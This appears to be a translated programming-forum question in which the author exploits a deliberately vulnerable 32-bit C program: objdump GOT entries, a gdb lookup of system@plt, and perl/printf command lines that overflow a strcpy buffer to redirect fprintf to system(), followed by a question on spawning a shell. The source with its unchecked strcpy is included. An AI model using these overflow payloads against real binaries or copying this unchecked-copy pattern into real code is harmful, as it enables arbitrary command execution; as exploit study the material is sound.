A continuación se muestra la salida objdump de un programa en C (código fuente al final de esta publicación) donde estoy realizando un desbordamiento de búfer para sobrescribir la entrada de la tabla de compensación de grupo (GOT):
-$ objdump -R ./vuln
./vuln: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049944 R_386_GLOB_DAT __gmon_start__
08049980 R_386_COPY stderr
#note the adress of stdout below
080499a0 R_386_COPY stdout
08049954 R_386_JUMP_SLOT printf
08049958 R_386_JUMP_SLOT fwrite
0804995c R_386_JUMP_SLOT strcpy
08049960 R_386_JUMP_SLOT system
08049964 R_386_JUMP_SLOT __gmon_start__
08049968 R_386_JUMP_SLOT exit
0804996c R_386_JUMP_SLOT strlen
08049970 R_386_JUMP_SLOT __libc_start_main
#note the adress of fprintf below
08049974 R_386_JUMP_SLOT fprintf
-$
Dirección de system() , de gdb:
(gdb) p system
$3 = {<text variable, no debug info>} 0x8048410 <system@plt>
(gdb)
Puedo llamar a system() en lugar de fprintf() escribiendo 0x8048410 en 0x8049974 al proporcionar la entrada como se muestra a continuación.
-$ ./vuln 'perl -e 'print "A" x 128'''printf "\x74\x99\x04\x08"' 'printf "\x10\x84\x04\x08"'
hello
sh: 1: �*��: not found
-$
La entrada anterior funcionó y system() se llamó en lugar de fprintf() , como se puede ver en la salida anterior. Pero parece que /bin/sh intentó ejecutar el comando ubicado en stdout que no pudo entender ( sh: 1: �*��: not found ).
Podemos ver desde objdump la salida por encima de esa dirección de stdout es 0x80499a0 . Esta dirección está a 44 bytes de 0x8049974 .
Recuerda que estoy copiando 0x8048410 a 0x8049974 .
Así que pensé, después de 0x8048410 puedo dar 40 caracteres aleatorios y luego /bin/sh para que /bin/sh se copie a 0x80499a0 (dirección de stdout ). Entonces cuando system(stdout, "%s\n", buffer); se genera un nuevo shell.
Después de hacer esto, al menos el error de shell desaparece (es decir, no obtengo sh: 1: �*��: not found ), pero parece que no ocurre nada más y no se genera una nueva shell.
-$ ./vuln 'perl -e 'print "A" x 128'''printf "\x74\x99\x04\x08"' 'printf "\x10\x84\x04\x08"''perl -e 'print "a"x40 . "/bin/sh"''
hello
-$
Así que el resumen es:
Soy capaz de llamar a system() en lugar de fprintf() al sobrescribir las entradas GOT, y NO tengo ningún problema en esta parte.
Pero una vez que se llama a system() , mi problema es (stdout, "%s\n", buffer) , debido a que (supongo) system() (y, por consiguiente, /bin/sh ) está intentando ejecutar un comando cuyo nombre está señalado por stdout .
Como dije, lo intenté escribiendo /bin/sh después de 44 bytes después de 0x8049974 pero nada parece suceder.
Puedo invocar system(stdout, "%s\n", buffer) en lugar de fprintf(stdout, "%s\n", buffer) sobrescribiendo la entrada GOT. Pero no puedo generar un shell con este comando del sistema. ¿Cómo puedo apuntar stdout a /bin/sh ? Tengo la dirección (0x80499a0) a la que apunta stdout (de la salida de objdump).
A continuación se muestra el código fuente del programa que estoy intentando explotar
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char **argv)
{
char *p;
char buffer[128];
if (argc != 3) {
fprintf(stderr, "enter two strings that need to be concatenated\n");
return 1;
}
system("echo hello");
/* concatenate two input strings, and print them out together */
p = buffer + strlen(argv[1]);
strcpy(buffer, argv[1]);
strcpy(p, argv[2]);
fprintf(stdout, "%s\n", buffer);
exit(0);
}